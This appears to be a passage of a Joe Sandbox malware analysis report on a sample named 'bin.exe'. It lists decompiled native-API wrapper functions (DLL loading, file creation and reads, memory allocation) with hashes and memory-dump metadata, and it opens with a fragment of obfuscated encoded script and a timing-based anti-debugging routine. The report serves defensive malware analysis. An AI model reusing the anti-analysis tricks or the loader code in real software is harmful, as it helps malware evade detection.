1MDA2ZVx1MDA3NFx1MDA2NVx1MDA2ZVx1MDA3NCddWzBdWydcdTAwNmVcdTAwNmZcdTAwNjRcdTAwNjVcdTAwNTRcdTAwNzlcdTAwNzBcdTAwNjVcdTAwNjRcdTAwNTZcdTAwNjFcdTAwNmNcdTAwNzVcdTAwNjUnXSksIGdZTXR5WydcdTAwNTBcdTAwNmZcdTAwNzNcdTAwNjlcdTAwNzRcdTAwNjlcdTAwNmZcdTAwNmUnXSA9IDAsIGdZTXR5WydceDU0XHg3OVx4Nz") ➔ 0
79	function __p_9855283842() {
80	var __p_4904707187 = new Date ( );
81	debugger;
82	var __p_6324932437 = new Date ( );
83	var __p_9073354373 = __p_6324932437 - __p_4904707187 > 1000;
84	if ( __p_9073354373 )
85	{
86	while (__p_9073354373 )
87	{
88	__p_4904707187 = __p_6324932437;
89	}
90	}
91	}

Reset < >

Analysis Process: bin.exePID: 6372, Parent PID: 6972COMMON

Execution Graph

Execution Coverage:	5.6%
Dynamic/Decrypted Code Coverage:	2.6%
Signature Coverage:	5.3%
Total number of Nodes:	619
Total number of Limit Nodes:	78

Executed Functions

Function 0001A140 Relevance: 1.5, APIs: 1, Instructions: 48
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0001A140(void* __ebx, void* __eflags, void* _a4, intOrPtr _a8) {
				char* _v8;
				struct _EXCEPTION_RECORD _v12;
				struct _OBJDIR_INFORMATION _v16;
				char _v536;
				void* _t17;
				void* _t18;
				struct _OBJDIR_INFORMATION _t20;
				struct _OBJDIR_INFORMATION _t21;
				void* _t34;
				void* _t35;

				_v8 =  &_v536;
				_t17 = E0002CDC0( &_v12, 0x104, _a8);
				_t18 = _t17 - 1;
				_t5 = __ebx - 0x3f7af33c;
				 *_t5 =  *((intOrPtr*)(__ebx - 0x3f7af33c)) + _t18;
				if( *_t5 != 0) {
					_t20 = E0002D1E0(__eflags, _v8);
					_t35 = _t34 + 4;
					__eflags = _t20;
					if(_t20 != 0) {
						E0002D460( &_v12, 0);
						_t35 = _t35 + 8;
					}
					_t21 = E0002B510(_v8);
					_v16 = _t21;
					__eflags = _t21;
					if(_t21 == 0) {
						LdrLoadDll(0, 0,  &_v12,  &_v16); // executed
						return _v16;
					}
					return _t21;
				} else {
					return _t18;
				}
			}

0x0001a15c
0x0001a15f
0x0001a161
0x0001a163
0x0001a163
0x0001a169
0x0001a173
0x0001a178
0x0001a17b
0x0001a17d
0x0001a185
0x0001a18a
0x0001a18a
0x0001a191
0x0001a199
0x0001a19c
0x0001a19e
0x0001a1b2
0x00000000
0x0001a1b4
0x0001a1ba
0x0001a16e
0x0001a16e
0x0001a16e

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 0001A1B2

Memory Dump Source

Source File: 00000003.00000002.577252910.0000000000011000.00000020.00000001.01000000.00000005.sdmp, Offset: 00010000, based on PE: true

Associated: 00000003.00000002.577235632.0000000000010000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.577294058.000000000002F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.577307299.0000000000030000.00000020.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000_bin.jbxd

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 14d9637ae75740dab2169e9387d270c154b89039a09ccd4394a8d994bcbcbc66
Instruction ID: 21dbd36c22d5e4b74974007ec1c790c785c4d09d0438af1cf8434f57cb5044cc
Opcode Fuzzy Hash: 14d9637ae75740dab2169e9387d270c154b89039a09ccd4394a8d994bcbcbc66
Instruction Fuzzy Hash: AA011EB5E0020DBBDF10EAA4EC42FDEB7B89B54308F1441A5E90997242F671EB58CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0002A31A Relevance: 1.5, APIs: 1, Instructions: 42
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 64%

			E0002A31A(void* __edx, intOrPtr _a8, HANDLE* _a12, long _a16, struct _EXCEPTION_RECORD _a20, struct _ERESOURCE_LITE _a24, struct _GUID _a28, long _a32, long _a36, long _a40, long _a44, void* _a48, long _a52) {
				long _t21;

				asm("o16 aaa");
				_pop(_t37);
				_t15 = _a8;
				_t3 = _t15 + 0xc5c; // 0xc5c
				E0002AF70( *((intOrPtr*)(_a8 + 0x14)), _t15, _t3,  *((intOrPtr*)(_a8 + 0x14)), 0, 0x28);
				_t21 = NtCreateFile(_a12, _a16, _a20, _a24, _a28, _a32, _a36, _a40, _a44, _a48, _a52); // executed
				return _t21;
			}

0x0002a31a
0x0002a31d
0x0002a323
0x0002a32f
0x0002a337
0x0002a36d
0x0002a371

APIs

NtCreateFile.NTDLL(00000060,00019113,?,00025807,00019113,FFFFFFFF,?,?,FFFFFFFF,00019113,00025807,?,00019113,00000060,00000000,00000000), ref: 0002A36D

Memory Dump Source

Source File: 00000003.00000002.577252910.0000000000011000.00000020.00000001.01000000.00000005.sdmp, Offset: 00010000, based on PE: true

Associated: 00000003.00000002.577235632.0000000000010000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.577294058.000000000002F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.577307299.0000000000030000.00000020.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000_bin.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: a3db53c3499b4208fa787fd20ded4ec7fb5fce6855323f6d37a9b7bf070bdd03
Instruction ID: 49bc465a2015b89e15c4de61699ffaaaa5bff797e9e77ddf4aa61cdad0e8d67f
Opcode Fuzzy Hash: a3db53c3499b4208fa787fd20ded4ec7fb5fce6855323f6d37a9b7bf070bdd03
Instruction Fuzzy Hash: 7901B2B6201108AFCB48CF88DD85EEB37AEAF8C754F158248BA0997241C630E8518BA0

Uniqueness

Uniqueness Score: -1.00%

Function 0002A320 Relevance: 1.5, APIs: 1, Instructions: 40
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0002A320(intOrPtr _a4, HANDLE* _a8, long _a12, struct _EXCEPTION_RECORD _a16, struct _ERESOURCE_LITE _a20, struct _GUID _a24, long _a28, long _a32, long _a36, long _a40, void* _a44, long _a48) {
				long _t21;

				_t3 = _a4 + 0xc5c; // 0xc5c
				E0002AF70( *((intOrPtr*)(_a4 + 0x14)), _t15, _t3,  *((intOrPtr*)(_a4 + 0x14)), 0, 0x28);
				_t21 = NtCreateFile(_a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36, _a40, _a44, _a48); // executed
				return _t21;
			}

0x0002a32f
0x0002a337
0x0002a36d
0x0002a371

APIs

NtCreateFile.NTDLL(00000060,00019113,?,00025807,00019113,FFFFFFFF,?,?,FFFFFFFF,00019113,00025807,?,00019113,00000060,00000000,00000000), ref: 0002A36D

Memory Dump Source

Source File: 00000003.00000002.577252910.0000000000011000.00000020.00000001.01000000.00000005.sdmp, Offset: 00010000, based on PE: true

Associated: 00000003.00000002.577235632.0000000000010000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.577294058.000000000002F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.577307299.0000000000030000.00000020.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000_bin.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: ede47e358c6f592494742841678bda465d8b9d6efb767baf41057bbc73943ae4
Instruction ID: 4a533ea1b22f2d5df75f5488795a7810912f94a9bdb2c0f8bbdaf393b359b4c8
Opcode Fuzzy Hash: ede47e358c6f592494742841678bda465d8b9d6efb767baf41057bbc73943ae4
Instruction Fuzzy Hash: D7F0B2B2200208AFCB48CF88DC85EDB77ADAF8C754F018208BA0997241C630F8518BA4

Uniqueness

Uniqueness Score: -1.00%

Function 0002A3CA Relevance: 1.5, APIs: 1, Instructions: 38
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtReadFile.NTDLL(000259C2,5DA515B3,FFFFFFFF,00025681,?,?,000259C2,?,00025681,FFFFFFFF,5DA515B3,000259C2,?,00000000), ref: 0002A415

Memory Dump Source

Source File: 00000003.00000002.577252910.0000000000011000.00000020.00000001.01000000.00000005.sdmp, Offset: 00010000, based on PE: true

Associated: 00000003.00000002.577235632.0000000000010000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.577294058.000000000002F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.577307299.0000000000030000.00000020.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000_bin.jbxd

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: d0a50dea54aac9635c95ab68d6874371f5e2cbf0dc2ed8e727ecce08ee6ed408
Instruction ID: c8eee53b4d75483b05f7910f522d1350d1663e2124c67452004abbfbf03248d7
Opcode Fuzzy Hash: d0a50dea54aac9635c95ab68d6874371f5e2cbf0dc2ed8e727ecce08ee6ed408
Instruction Fuzzy Hash: A3F0F9B2200109AFCB14CF98DC84DDB77ADEF8C364F158258FA5DA7251C630E811CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0002A3D0 Relevance: 1.5, APIs: 1, Instructions: 36
filenativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 37%

			E0002A3D0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36, intOrPtr _a40) {
				void* _t18;
				intOrPtr* _t27;

				_t13 = _a4;
				_t27 = _a4 + 0xc64;
				E0002AF70( *((intOrPtr*)(_t13 + 0x14)), _t13, _t27,  *((intOrPtr*)(_t13 + 0x14)), 0, 0x2a);
				_t18 =  *((intOrPtr*)( *_t27))(_a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36, _a40); // executed
				return _t18;
			}

0x0002a3d3
0x0002a3df
0x0002a3e7
0x0002a415
0x0002a419

APIs

NtReadFile.NTDLL(000259C2,5DA515B3,FFFFFFFF,00025681,?,?,000259C2,?,00025681,FFFFFFFF,5DA515B3,000259C2,?,00000000), ref: 0002A415

Memory Dump Source

Source File: 00000003.00000002.577252910.0000000000011000.00000020.00000001.01000000.00000005.sdmp, Offset: 00010000, based on PE: true

Associated: 00000003.00000002.577235632.0000000000010000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.577294058.000000000002F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.577307299.0000000000030000.00000020.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000_bin.jbxd

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: b510bff5fdfeed8eb0fffb7cee2b24ec4e8af31a288f6594e015d3a0b80bf648
Instruction ID: 620d22d95c93afa8e455783d8e12cd690f050c9b283accb17d986410486a0739
Opcode Fuzzy Hash: b510bff5fdfeed8eb0fffb7cee2b24ec4e8af31a288f6594e015d3a0b80bf648
Instruction Fuzzy Hash: FCF0A4B2200208ABCB14DF99DC85EEB77ADAF8C754F118258BA0D97251D630E811CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0002A4FA Relevance: 1.5, APIs: 1, Instructions: 33
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			E0002A4FA(void* __eax, void* __ebx, void* __ecx, void* __edx, void* _a4, PVOID* _a8, long _a12, long* _a16, long _a20, long _a24) {
				intOrPtr _v0;
				void* _v117;
				long _t17;

				_push(0xffffffaf);
				_t13 = _v0;
				_t4 = _t13 + 0xc7c; // 0x3c7c
				E0002AF70( *((intOrPtr*)(_v0 + 0x14)), _t13, _t4,  *((intOrPtr*)(_v0 + 0x14)), 0, 0x30);
				_t17 = NtAllocateVirtualMemory(_a4, _a8, _a12, _a16, _a20, _a24); // executed
				return _t17;
			}

0x0002a4fc
0x0002a503
0x0002a50f
0x0002a517
0x0002a539
0x0002a53d

APIs

NtAllocateVirtualMemory.NTDLL(?,00000000,?,0002B1AD,?,0002B1AD,?,00000000,?,00003000,00000040,00019113,00000000), ref: 0002A539

Memory Dump Source

Source File: 00000003.00000002.577252910.0000000000011000.00000020.00000001.01000000.00000005.sdmp, Offset: 00010000, based on PE: true

Associated: 00000003.00000002.577235632.0000000000010000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.577294058.000000000002F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.577307299.0000000000030000.00000020.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000_bin.jbxd

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: b4590bcb26deffa2d86b1d3e0ea48b7901d369fdf1182501ed088ab8ad142906
Instruction ID: 3bccdcd24ea3513453abf31a45cb34845e5bc303a7320aadcd81c7c1a212bbac
Opcode Fuzzy Hash: b4590bcb26deffa2d86b1d3e0ea48b7901d369fdf1182501ed088ab8ad142906
Instruction Fuzzy Hash: 1EF05EB12001186BDB14CFA8DC91EDB77A9AF88354F118248BD1C97291C531E810CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0002A500 Relevance: 1.5, APIs: 1, Instructions: 30
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0002A500(intOrPtr _a4, void* _a8, PVOID* _a12, long _a16, long* _a20, long _a24, long _a28) {
				long _t14;

				_t3 = _a4 + 0xc7c; // 0x3c7c
				E0002AF70( *((intOrPtr*)(_a4 + 0x14)), _t10, _t3,  *((intOrPtr*)(_a4 + 0x14)), 0, 0x30);
				_t14 = NtAllocateVirtualMemory(_a8, _a12, _a16, _a20, _a24, _a28); // executed
				return _t14;
			}

0x0002a50f
0x0002a517
0x0002a539
0x0002a53d

APIs

NtAllocateVirtualMemory.NTDLL(?,00000000,?,0002B1AD,?,0002B1AD,?,00000000,?,00003000,00000040,00019113,00000000), ref: 0002A539

Memory Dump Source

Source File: 00000003.00000002.577252910.0000000000011000.00000020.00000001.01000000.00000005.sdmp, Offset: 00010000, based on PE: true

Associated: 00000003.00000002.577235632.0000000000010000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.577294058.000000000002F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.577307299.0000000000030000.00000020.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000_bin.jbxd

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 3937d7bcd71450592b7c43b4c62eb3862b139fe450dcdc5e45fc7760e87cf521
Instruction ID: 47e377d2afe4a63988909a0909657f985a2743c6e78197663665721019fe9135
Opcode Fuzzy Hash: 3937d7bcd71450592b7c43b4c62eb3862b139fe450dcdc5e45fc7760e87cf521
Instruction Fuzzy Hash: 00F015B2210218ABDB14DF89DC81EEB77ADAF8C754F018118BE0897241C630F810CBB0

Uniqueness

Uniqueness Score: -1.00%

Function 0002A450 Relevance: 1.5, APIs: 1, Instructions: 20
nativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0002A450(intOrPtr _a4, void* _a8) {
				long _t8;

				_t5 = _a4;
				_t2 = _t5 + 0x14; // 0x56c29f0f
				_t3 = _t5 + 0xc6c; // 0x19d7f
				E0002AF70( *_t2, _a4, _t3,  *_t2, 0, 0x2c);
				_t8 = NtClose(_a8); // executed
				return _t8;
			}

0x0002a453
0x0002a456
0x0002a45f
0x0002a467
0x0002a475
0x0002a479

APIs

NtClose.NTDLL(000259A0,?,?,000259A0,00019113,FFFFFFFF), ref: 0002A475

Memory Dump Source

Source File: 00000003.00000002.577252910.0000000000011000.00000020.00000001.01000000.00000005.sdmp, Offset: 00010000, based on PE: true

Associated: 00000003.00000002.577235632.0000000000010000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.577294058.000000000002F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.577307299.0000000000030000.00000020.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000_bin.jbxd

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 829c97b90c121aadc2fe6170b15f633a5be8987cb5c0fe9b9f6c1e719d211015
Instruction ID: 77e41c6278a4fa6f626509589dff02d041a543f7487bce3d772a4c1df910ae0e
Opcode Fuzzy Hash: 829c97b90c121aadc2fe6170b15f633a5be8987cb5c0fe9b9f6c1e719d211015
Instruction Fuzzy Hash: 69D01772200214ABD620EB98DC89ED77BACDF48660F018065BA485B242C930FA0086E1

Uniqueness

Uniqueness Score: -1.00%

Function 00DE98F0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00DE98FA

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: bc250554f82d704bf9563afb9764498d5c2a05e1eb58c5e970da3b26123454df
Instruction ID: dbdacbebb369bbce0b1e6a0a9e92eb366c3e513ef43805bb694a2f387b4811a1
Opcode Fuzzy Hash: bc250554f82d704bf9563afb9764498d5c2a05e1eb58c5e970da3b26123454df
Instruction Fuzzy Hash: F490026160100906D20172594404626100B97D4381F93C032A2014565ECA6589D2F171

Uniqueness

Uniqueness Score: -1.00%

Function 00DE9840 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00DE984A

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ee80fa6c90c2a5c1778f26dec4bd94e7dfe3c0784dc0c793eaf9f37ace573880
Instruction ID: 908ba860af0443259b2d47e76533fb4715eca94b42203cea39e64fc69e57f78d
Opcode Fuzzy Hash: ee80fa6c90c2a5c1778f26dec4bd94e7dfe3c0784dc0c793eaf9f37ace573880
Instruction Fuzzy Hash: 7F900261242045565645B25944045175007A7E4381793C022A2404960C85669896F671

Uniqueness

Uniqueness Score: -1.00%

Function 00DE9860 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00DE986A

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: bc556da654f7f78f828a11be269451a517eaa45e6174e35b466c2676f5cbeb5d
Instruction ID: 5277be30dc7fe76b8bcc9ade0b71b1cbb20c04ce4d7aca658cc57d40d227714a
Opcode Fuzzy Hash: bc556da654f7f78f828a11be269451a517eaa45e6174e35b466c2676f5cbeb5d
Instruction Fuzzy Hash: C790027120100817D21162594504717100B97D4381F93C422A1414568D96968992F171

Uniqueness

Uniqueness Score: -1.00%

Function 00DE95D0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00DE95DA

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 445914e5a0c99a39bcf206989b5d6839397144b65b3b5d49091c46b64d6c1331
Instruction ID: 9dee2cdde3dc5db2402bbb76b53335dbf5d398d6672b0312b68de80b33d6c0d3
Opcode Fuzzy Hash: 445914e5a0c99a39bcf206989b5d6839397144b65b3b5d49091c46b64d6c1331
Instruction Fuzzy Hash: D99002A120200407420572594414626500B97E4341B53C031E20045A0DC56588D1B175

Uniqueness

Uniqueness Score: -1.00%

Function 00DE99A0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00DE99AA

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 46f39e9238e15241daabc0121618dbefb4851308ecbc61ee8379c0e351356b3a
Instruction ID: f05fb533fb1e400faf83bb53cdbcb531afd9ecc903f6390f03d859c8621818a0
Opcode Fuzzy Hash: 46f39e9238e15241daabc0121618dbefb4851308ecbc61ee8379c0e351356b3a
Instruction Fuzzy Hash: 539002A134100846D20062594414B161007D7E5341F53C025E2054564D8659CC92B176

Uniqueness

Uniqueness Score: -1.00%

Function 00DE9540 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00DE954A

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 5c0876d197cbea4b1861c4cd5ba00d2be7e2b3fa4104d4e7938681c6ecc53171
Instruction ID: 7d392d34b41648c4be037b936208c70a56b4a8b0221ec3a95a4bf5571231f08f
Opcode Fuzzy Hash: 5c0876d197cbea4b1861c4cd5ba00d2be7e2b3fa4104d4e7938681c6ecc53171
Instruction Fuzzy Hash: 36900265211004070205A6590704517104797D9391353C031F2005560CD66188A1B171

Uniqueness

Uniqueness Score: -1.00%

Function 00DE9910 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00DE991A

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e2397f5489028dd1ddfb598beda3a9c25e773b848512c519df9bfd5bfe9f2dad
Instruction ID: 6166c0fbbb20b43d1d47b753250bd6c216c7905039b2a0efaa82e10bb7128c4f
Opcode Fuzzy Hash: e2397f5489028dd1ddfb598beda3a9c25e773b848512c519df9bfd5bfe9f2dad
Instruction Fuzzy Hash: 4F9002B120100806D24072594404756100797D4341F53C021A6054564E86998DD5B6B5

Uniqueness

Uniqueness Score: -1.00%

Function 00DE96E0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00DE96EA

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: eda89a4dfc59d591f98be0d5bfc8643e4f830ad01beeafddb7224efbe9a8383b
Instruction ID: ada371c55d40f5b85d6820bba45790c2d985d5ed69c27094d8d47acb69cb3629
Opcode Fuzzy Hash: eda89a4dfc59d591f98be0d5bfc8643e4f830ad01beeafddb7224efbe9a8383b
Instruction Fuzzy Hash: 9F90027120108C06D2106259840475A100797D4341F57C421A5414668D86D588D1B171

Uniqueness

Uniqueness Score: -1.00%

Function 00DE9A50 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00DE9A5A

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ad052c0abe3ded1ffb2fecdbe31558b3048fe8f6ba2b74264291596760d1477f
Instruction ID: 47e6557eec01674dc5c50dbfc43478ddf5c1848ecf4465f914a8ca5348ee12b6
Opcode Fuzzy Hash: ad052c0abe3ded1ffb2fecdbe31558b3048fe8f6ba2b74264291596760d1477f
Instruction Fuzzy Hash: B390026121180446D30066694C14B17100797D4343F53C125A1144564CC95588A1B571

Uniqueness

Uniqueness Score: -1.00%

Function 00DE9660 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00DE966A

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9b3f0ef58e80789e70a577e37cc56cc4b5d5274936de4b17d89259580fa77845
Instruction ID: f0cc3d5725e2acacfe34b79860f6dcd7194624de7031f362d1d7b268aad487c6
Opcode Fuzzy Hash: 9b3f0ef58e80789e70a577e37cc56cc4b5d5274936de4b17d89259580fa77845
Instruction Fuzzy Hash: D990027120100C06D2807259440465A100797D5341F93C025A1015664DCA558A99B7F1

Uniqueness

Uniqueness Score: -1.00%

Function 00DE9A00 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00DE9A0A

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: c7bcee5f9e2bfdc19a74c520cb6abffe2642237a823315a5af27a5246a4261cb
Instruction ID: b19bf74783d474ca6cf8fc03b49a1d16853638241099fa9fa63b43ca3aa69940
Opcode Fuzzy Hash: c7bcee5f9e2bfdc19a74c520cb6abffe2642237a823315a5af27a5246a4261cb
Instruction Fuzzy Hash: 6790027120140806D2006259481471B100797D4342F53C021A2154565D86658891B5B1

Uniqueness

Uniqueness Score: -1.00%

Function 00DE9A20 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00DE9A2A

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 318c4e085e9bcbe71ae5c560a256e2259db6e4751a3567b99297fa94b36bf3c8
Instruction ID: b64b71283e3b714a05f720035d8e65672f6d5fa4ae7d66ea50174b790837368f
Opcode Fuzzy Hash: 318c4e085e9bcbe71ae5c560a256e2259db6e4751a3567b99297fa94b36bf3c8
Instruction Fuzzy Hash: C9900261601004464240726988449165007BBE5351753C131A1988560D859988A5B6B5

Uniqueness

Uniqueness Score: -1.00%

Function 00DE9FE0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00DE9FEA

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 08703a19c4f835acebdcab110adf06c21a13b11515a83d4edc027f6c0366022e
Instruction ID: a70da10becd6801b12332f9f63cd3c11ec727c5abb750e50892a146454bfb59f
Opcode Fuzzy Hash: 08703a19c4f835acebdcab110adf06c21a13b11515a83d4edc027f6c0366022e
Instruction Fuzzy Hash: 8190027131114806D21062598404716100797D5341F53C421A1814568D86D588D1B172

Uniqueness

Uniqueness Score: -1.00%

Function 00DE9780 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00DE978A

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID: InitializeThunk
String ID:
